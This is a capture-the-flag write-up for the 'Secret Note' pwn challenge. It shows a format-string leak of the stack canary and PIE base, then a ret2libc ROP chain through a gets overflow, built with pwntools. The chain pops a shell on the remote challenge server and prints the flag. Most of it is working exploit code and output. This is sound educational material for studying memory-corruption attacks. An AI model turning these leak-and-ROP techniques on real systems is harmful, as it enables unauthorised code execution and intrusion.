Secret Note
6 minutes to read
We are given a 64-bit binary called main
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
If we open the binary in Ghidra we see these functions:
void get_name() {
long in_FS_OFFSET;
char name[40];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
puts("Please fill in your name:");
read(0, name, 30);
printf("Thank you ");
printf(name);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
int main() {
long in_FS_OFFSET;
char secret[56];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setvbuf(stderr, NULL, 2, 0);
setvbuf(stdout, NULL, 2, 0);
get_name();
puts("So let\'s get into business, give me a secret to exploit me :).");
gets(secret);
puts("Bye, good luck next time :D ");
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
There are two vulnerabilities: a Buffer Overflow because of the use of gets
, and a Format String vulnerability because of the use of printf
with a controlled variable as first parameter.
Since all protections are enabled, we will need to leak the stack canary, an address of the binary at runtime to bypass PIE and an address of Glibc to bypass ASLR.
For the moment, we can enumerate the Format String vulnerability:
$ ./main
Please fill in your name:
%lx
Thank you 7fffffffbff0
So let's get into business, give me a secret to exploit me :).
^C
The above is just a proof of concept, we have leaked a value from the stack when using %lx
format. Let’s see what we can dump from the stack. For that, I made a little loop in shell script:
$ for i in {1..30}; do echo -n "$i: "; echo "%$i\$lx\n" | ./main | head -2 | tail -1 | awk '{ print $3 }'; done
1: 7fffffffbff0
2: 0
3: 0
4: a
5: a
6: a0a786c243625
7: 7ffff7e41de5
8: 555555555310
9: 7fffffffe710
10: 555555555100
11: 63acce113dd9c300
12: 7fffffffe710
13: 5555555552c5
14: 7fffffffe6f6
15: 55555555535d
16: 7ffff7fae2e8
17: 555555555310
18: 0
19: 555555555100
20: 7fffffffe800
21: 23c748f15ffbef00
22: 0
23: 7ffff7de1083
24: 7ffff7ffc620
25: 7fffffffe808
26: 100000000
27: 555555555264
28: 555555555310
29: 774f9dc3d5661ab7
30: 555555555100
The stack canary is easy to recognize because is always random and ends in a null byte. We find it at position 11.
Then, we can see some addresses that start with 555555555
. Those are addresses within the binary (I disabled ASLR temporarily). The one at position 27 ends in 264
, and it matches with the offset of main
:
$ readelf -s main | grep main
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2)
56: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_
66: 0000000000001264 165 FUNC GLOBAL DEFAULT 16 main
So we got a way to leak the canary and the main
address. Let’s start building the exploit in Python:
def get_canary_main_addr(p):
p.sendlineafter(b'Please fill in your name:\n', b'%11$lx.%27$lx')
p.recvuntil(b'Thank you ')
canary, main_addr = map(lambda x: int(x, 16), p.recvline().split(b'.'))
log.info(f'Leaked canary: {hex(canary)}')
log.info(f'Leaked main() address: {hex(main_addr)}')
return canary, main_addr
def main():
p = get_process()
canary, main_addr = get_canary_main_addr(p)
elf.address = main_addr - elf.sym.main
log.info(f'ELF base address: {hex(elf.address)}')
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './main': pid 1642002
[*] Leaked canary: 0xfafefec6ed0f4e00
[*] Leaked main() address: 0x555555555264
[*] ELF base address: 0x555555554000
[*] Stopped process './main' (pid 1642002)
Everything alright. Now it is time to exploit the Buffer Overflow vulnerability.
Although we could have got a leak of Glibc with the Format String vulnerability, I decided to perform a usual ret2libc attack with ASLR bypass. That is, call puts
using the Procedure Linkage Table (PLT) setting as first argument the address of a function at the Global Offset Table (GOT), using Return Oriented Programming (ROP). I will use pwntools
directly to save time:
rop = ROP(elf)
offset = 56
junk = b'A' * offset
leaked_function = 'setvbuf'
payload = junk
payload += p64(canary)
payload += p64(0)
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(elf.got[leaked_function])
payload += p64(elf.plt.puts)
payload += p64(elf.sym.main)
p.sendlineafter(b'So let\'s get into business, give me a secret to exploit me :).\n', payload)
p.recvline()
leaked_function_addr = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Leaked {leaked_function}() address: {hex(leaked_function_addr)}')
glibc.address = leaked_function_addr - glibc.sym[leaked_function]
log.info(f'Glibc base address: {hex(glibc.address)}')
$ python3 solve.py
[*] './main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './main': pid 1644101
[*] Leaked canary: 0x45c2abc35c668400
[*] Leaked main() address: 0x555555555264
[*] ELF base address: 0x555555554000
[*] Loaded 14 cached gadgets for 'main'
[*] Leaked setvbuf() address: 0x7ffff7e41ce0
[*] Glibc base address: 0x7ffff7dbd000
[*] Stopped process './main' (pid 1644101)
Perfect, and now that we have the base address of Glibc, we can call system("/bin/sh")
. Notice that we have returned to main
, so we need to send another “name” before exploiting the Buffer Overflow vulnerability again:
p.sendline()
payload = junk
payload += p64(canary)
payload += p64(0)
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(next(glibc.search(b'/bin/sh')))
payload += p64(glibc.sym.system)
p.sendlineafter(b'So let\'s get into business, give me a secret to exploit me :).\n', payload)
p.recvline()
p.interactive()
If I enable ASLR, everything works and I get a shell locally:
$ python3 solve.py
[*] './main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './main': pid 1645479
[*] Leaked canary: 0x90b02c1284165b00
[*] Leaked main() address: 0x55f24178f264
[*] ELF base address: 0x55f24178e000
[*] Loaded 14 cached gadgets for 'main'
[*] Leaked setvbuf() address: 0x7f11f3e87ce0
[*] Glibc base address: 0x7f11f3e03000
[*] Switching to interactive mode
$ ls
main solve.py
Now we need to run it on remote and find the correct Glibc version. Using two Glibc leaks, we get that the remote instance uses Glibc 2.27 (check libc.rip):
We could have also noticed that the Dockerfile
started with FROM ubuntu:18.04
.
After tweaking the exploit, we get a shell on the remote instance:
$ python3 solve.py blackhat2-a7c0aeda4583a436e729b57c9ff83838-0.chals.bh.ctf.sa
[*] './main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to blackhat2-a7c0aeda4583a436e729b57c9ff83838-0.chals.bh.ctf.sa on port 443: Done
[*] Leaked canary: 0xf085d069ad9c9a00
[*] Leaked main() address: 0x55993e81a264
[*] ELF base address: 0x55993e819000
[*] Loading gadgets for './main'
[*] Leaked setvbuf() address: 0x7f93c19df2a0
[*] Glibc base address: 0x7f93c195e000
[*] Switching to interactive mode
$ cat flag.txt
BlackHatMEA{96:21:9f27d3e8d68fd8bbfb5b88a969e6ff4054624b6c}
The full exploit can be found in here: solve.py
.